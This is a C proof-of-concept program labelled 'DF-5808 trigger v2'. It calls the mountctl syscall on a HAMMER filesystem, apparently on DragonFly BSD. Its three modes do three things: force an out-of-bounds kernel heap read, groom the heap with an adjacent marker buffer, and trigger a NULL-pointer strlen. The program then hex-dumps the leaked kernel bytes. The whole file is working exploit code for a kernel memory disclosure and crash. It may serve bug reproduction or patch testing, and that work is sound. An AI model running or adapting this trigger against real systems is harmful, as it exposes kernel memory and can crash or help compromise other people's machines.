/*
 * DF-5808 trigger v2: mountctl(MOUNTCTL_MOUNTFLAGS) on HAMMER(1).
 *  - leak mode: buflen tuned so 2*part1 > buflen+1 -> OOB heap read
 *  - groom mode: ctllen>0 supplies an M_TEMP kmalloc'd+copyin'd marker
 *    buffer allocated adjacent to the result buffer
 *  - null mode: buflen=0 -> buf stays NULL -> vfs_flagstostr strlen(NULL)
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/syscall.h>

#ifndef SYS_mountctl
#define SYS_mountctl 468
#endif
#define MOUNTCTL_MOUNTFLAGS 18

int main(int argc, char **argv)
{
	const char *path;
	int buflen, runs = 1, ctllen = 0, i, j;
	char *out, *ctl = NULL;

	if (argc < 3) {
		fprintf(stderr, "usage: %s <path> <buflen> [runs] [ctllen]\n",
			argv[0]);
		return 1;
	}
	path = argv[1];
	buflen = atoi(argv[2]);
	if (argc > 3)
		runs = atoi(argv[3]);
	if (argc > 4)
		ctllen = atoi(argv[4]);

	out = calloc(65536 + 16, 1);
	if (!out)
		return 1;
	if (ctllen > 0 && ctllen <= 1024) {
		ctl = malloc(ctllen);
		for (i = 0; i < ctllen; i++)
			ctl[i] = "AaBbCcDdEeFfGgHh"[i & 15];
	}

	for (i = 0; i < runs; i++) {
		long ret;
		void *bufp = (buflen == 0) ? NULL : out;

		memset(out, 0, 65536 + 16);
		errno = 0;
		ret = syscall(SYS_mountctl, path, MOUNTCTL_MOUNTFLAGS,
			      -1, ctl, ctllen, bufp, buflen);
		if (ret < 0) {
			printf("run %d: errno=%d (%s)\n", i, errno,
			       strerror(errno));
			continue;
		}
		printf("run %d: ret=%ld buflen=%d ctllen=%d strlen=%zu\n",
		       i, ret, buflen, ctllen, strlen(out));
		if (ret > buflen && buflen > 0) {
			printf("  *** ret(%ld) > buflen(%d): %ld bytes OOB\n",
			       ret, buflen, (long)ret - buflen);
			for (j = 80; j < ret; j += 16) {
				int k;
				printf("   %04x: ", j);
				for (k = 0; k < 16 && j + k < ret; k++)
					printf("%02x ",
					       (unsigned char)out[j + k]);
				printf(" |");
				for (k = 0; k < 16 && j + k < ret; k++) {
					unsigned char c = out[j + k];
					putchar((c >= 32 && c < 127) ?
						c : '.');
				}
				printf("|\n");
			}
		}
	}
	free(out);
	return 0;
}
